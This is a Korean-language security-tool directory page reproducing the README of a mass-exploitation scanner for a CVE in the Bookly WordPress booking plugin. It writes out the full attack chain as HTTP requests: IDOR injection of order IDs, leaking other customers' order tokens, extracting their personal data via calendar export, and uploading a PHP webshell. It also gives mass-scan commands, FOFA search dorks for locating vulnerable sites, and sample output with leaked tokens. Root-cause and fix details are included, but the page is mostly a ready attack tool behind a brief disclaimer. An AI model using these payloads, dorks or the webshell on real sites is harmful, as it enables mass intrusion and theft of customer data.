Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/josemour8/cve-2026-93399
ReconnaissanceVulnerability ScannersPayload GenerationExploitationWeb Application ExploitationData ExfiltrationWeb SecurityPenetration Testing
GitHubjosemour8/cve-2026-93399

CVE-2026-93399

Bookly WordPress 플러그인의 CVE-2026-93399에 대한 Python 대량 익스플로잇 스캐너: 버전 탐지, 인증 없는 IDOR 주문 토큰 열거, PII 추출, 웹셸 RCE.

저장소 보기
21개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-93399

Bookly <= 28.2 비인증 IDOR + PII 유출 + RCE

Bookly — Online Scheduling and Appointment Booking System WordPress 플러그인(버전 <= 28.2)에 영향을 미치는 CVE-2026-93399(CVSS 9.1 심각)에 대한 대규모 악용 스캐너입니다.

목차

  • 개요
  • 취약점 체인
  • 영향받는 버전
  • 요구 사항
  • 설치
  • 사용법
  • FOFA Dorks
  • 공격 흐름
  • 출력 형식
  • 기술 세부 정보
  • 면책 조항
  • 라이선스

개요

WordPress용 Bookly 플러그인은 bookly_get_form_id, bookly_render_complete, bookly_add_to_calendar, bookly_rollback_order AJAX 액션을 통해 안전하지 않은 직접 객체 참조(IDOR) 에 취약합니다. 모든 액션은 인증이 필요 없으며(_default => 'anonymous'), CSRF 보호가 비활성화되어 있습니다(csrfTokenValid()가 true를 반환).

bookly_get_form_id 핸들러는 공격자가 제어하는 form_data(order_id 포함)를 아무런 검증 없이 새로운 예약 세션에 그대로 저장합니다. 이어서 bookly_render_complete 핸들러는 이렇게 주입된 order_id를 신뢰하여 해당 Order의 비밀 토큰을 조회하고 반환합니다. 이를 통해 비인증 공격자는 순차적인 주문 ID를 열거하고, 다른 고객의 주문 토큰을 노출시키며, 캘린더/예약 정보를 조회하고, 완료되지 않은 임의의 예약을 영구적으로 삭제할 수 있습니다.

취약점 체인

Step 1: getFormId       → inject form_data[order_id] = VICTIM_ID (IDOR)
Step 2: renderComplete  → leak victim order token via Order::query()
Step 3: addToCalendar    → extract customer PII (staff name, email, service, date)
Step 4: sessionSave     → inject file payload (RCE, requires Files add-on)

영향을 받는 버전

  • 취약: Bookly <= 28.2 (28.2를 포함한 모든 이전 버전)
  • 수정됨: 28.3 (_prepareFormData() 화이트리스트 및 _prepareCartData() 새니타이저 추가)

요구 사항

  • Python 3.8+
  • requests 라이브러리
pip install requests

설치

git clone https://github.com/josemour8/CVE-2026-93399.git
cd CVE-2026-93399
pip install requests

사용법

단일 대상

# Detect Bookly version (safe, no exploit)
python3 exploit.py -u http://target.com --detect

# IDOR: enumerate order tokens (1-50)
python3 exploit.py -u http://target.com --enumerate --start 1 --end 50

# PII extraction via ICS (staff name, email, appointment data)
python3 exploit.py -u http://target.com --pii

# RCE: attempt webshell upload via session injection
python3 exploit.py -u http://target.com --rce

# Full chain: IDOR + PII + RCE
python3 exploit.py -u http://target.com --full

대량 스캔

# Full chain on target list with 10 threads
python3 exploit.py -f targets.txt --full -th 10 -o results.txt

# Enumerate tokens across multiple targets
python3 exploit.py -f targets.txt --enumerate --start 1 --end 100 -th 20

옵션

플래그설명
-u, --url단일 대상 URL
-f, --file대상 URL 목록이 담긴 파일 (한 줄에 하나씩)
--detect버전만 확인 (안전)
--enumerateIDOR: 주문 토큰 유출
--piiICS 캘린더 내보내기를 통한 PII 추출
--rce웹셸 업로드 시도
--full전체 체인: IDOR + PII + RCE
--start N시작 order_id (기본값: 1)
--end N종료 order_id (기본값: 50)
-th, --threads N스레드 수 (기본값: 5)
-o, --output FILE출력 파일 (기본값: results.txt)
-v, --verbose모든 시도 표시

FOFA Dorks

모든 Bookly 설치 탐색

body="bookly-responsive-appointment-booking-tool"

렌더링된 예약 양식이 있는 Bookly 페이지 찾기

body="BooklyL10nGlobal"

버전별 (취약 버전 <= 28.2)

body="bookly-main.css?ver=28.2"

결합형 (가장 높은 신뢰도)

body="bookly-responsive-appointment-booking-tool" && body="BooklyL10nGlobal"

Files 애드온으로 대상 찾기 (RCE용)

body="bookly-addon-files"

파일 업로드 필드가 구성된 대상 찾기 (RCE 가능)

body="bookly-js-upload"

공격 흐름

1단계: order_id 주입 (IDOR)

POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded

action=bookly_get_form_id
form_data[order_id]=1
form_data[data][first_name]=x
form_data[chain][0][service_id]=1
form_data[chain][0][staff_ids][]=1
form_data[cart][0][service_id]=1
form_data[cart][0][staff_ids][]=1

응답:

{"success":true,"form_id":"a1b2c3d4e5f6...","status":{"booking":"new"}}

취약한 코드 (Ajax.php:45-46):

$form_id = Lib\FormSession::createSession();
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// form_data stored RAW — no _prepareFormData() whitelist in <= 28.2

2단계: 주문 토큰 유출

POST /wp-admin/admin-ajax.php
action=bookly_render_complete
form_id=a1b2c3d4e5f6...

응답:

{"success":true,"bookly_order":"de2730e13265e86364172d99444ebe3d","html":"..."}

취약한 코드 (Ajax.php:733):

'bookly_order' => Lib\Entities\Order::query()
    ->where('id', $userData->getOrderId())  // attacker-controlled
    ->fetchVar('token')                       // victim token leaked

3단계: ICS를 통한 PII 추출

GET /wp-admin/admin-ajax.php?action=bookly_add_to_calendar&bookly_order=LEAKED_TOKEN&calendar=ics

응답: 고객 데이터가 포함된 ICS 파일:

BEGIN:VEVENT
ORGANIZER;CN=Admissions Manager:mailto:[email protected]
SUMMARY:TNS Gulberg - Tour
DTSTART:20230908T080000Z
END:VEVENT

4단계: RCE (Files 애드온 필요)

POST /wp-admin/admin-ajax.php
action=bookly_files_upload
custom_field_id=<field_id_from_booking_form>
csrf_token=<from_homepage>
file=shell.php (Content: <?php echo system($_GET["c"]); ?>)

셸 위치: /wp-content/uploads/bookly-files/shell.php

출력 형식

http://target.com | IDOR | order_id=1 | token=de2730e13265e86364172d99444ebe3d
http://target.com | PII | order_id=2 | staff=Admissions Manager | [email protected] | service=TNS Gulberg - Tour | date=20230908T080000Z
http://target.com | RCE | http://target.com/wp-content/uploads/bookly-files/pxd001.php?c=id

기술 세부 사항

근본 원인

getFormId() 핸들러는 전체 form_data 매개변수(사용자가 제어하는 JSON)를 화이트리스트나 정제 없이 세션 데이터베이스에 저장합니다. 이로 인해 공격자는 order_id를 포함한 임의의 세션 키를 주입할 수 있습니다.

renderComplete() 핸들러는 세션에서 order_id를 읽고 Order 테이블을 직접 쿼리합니다 — 현재 세션이 해당 주문을 생성했는지 확인하지 않고.

두 가지 복합 결함

  1. CSRF 비활성화 — 예약 모듈에서 csrfTokenValid()가 return true로 재정의됨
  2. 모든 작업이 익명 — permissions()가 array('_default' => 'anonymous')를 반환하므로, 모든 핸들러가 wp_ajax_와 wp_ajax_nopriv_ 훅을 모두 등록함

수정 사항 (28.3)

버전 28.3은 _prepareFormData()를 추가했습니다 — 표시 설정(skip_service_step, hide_service_part1, hide_service_part2, defaults)을 제외한 모든 것을 제거하는 엄격한 화이트리스트입니다. 또한 장바구니 항목 키를 정제하기 위해 _prepareCartData()도 추가했습니다.

// 28.2 (vulnerable):
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));

// 28.3 (fixed):
Lib\FormSession::saveSession($form_id, self::_prepareFormData(self::parameter('form_data')));

RCE 전제 조건

웹셸 업로드를 통한 RCE에는 다음이 필요합니다:

  1. Bookly Files 애드온 설치 및 활성화
  2. 예약 양식에 "file" 유형의 사용자 정의 필드 구성
  3. 확장자 허용 목록이 잘못 구성되어 있어야 함(비어 있거나 관대함)

bookly_files_upload AJAX 엔드포인트는 인증이 필요 없으며 멀티파트 파일 업로드를 직접 수락합니다. 그러나 Files 애드온은 허용 목록에 대해 파일 확장자를 검증합니다. 허용 목록이 올바르게 구성된 경우 모든 PHP 확장자가 차단됩니다.

세션 주입 (대체 RCE 경로)

IDOR 세션 주입은 form_data[data][info_fields]에 파일 페이로드를 삽입할 수도 있습니다. saveAppointment가 Proxy\Files::attachCIFiles()를 트리거하면 파일 핸들러가 주입된 데이터를 처리합니다. 이 경로는 Files 애드온이 활성화되어 있어야 하며 애드온의 attachCIFiles 구현에 의존합니다.

면책 조항

이 도구는 교육 및 승인된 테스트 목적으로만 제공됩니다. 저자는 이 도구로 인해 발생하는 오용이나 손해에 대해 책임지지 않습니다. 대상 스캔 또는 테스트 전에 항상 적절한 승인을 받으십시오.

라이선스

MIT 라이선스 — 자세한 내용은 LICENSE 파일을 참조하십시오.

참고 자료

  • CVE-2026-93399
  • Wordfence Advisory
  • WPScan
  • WordPress.org의 플러그인
도구 다운로드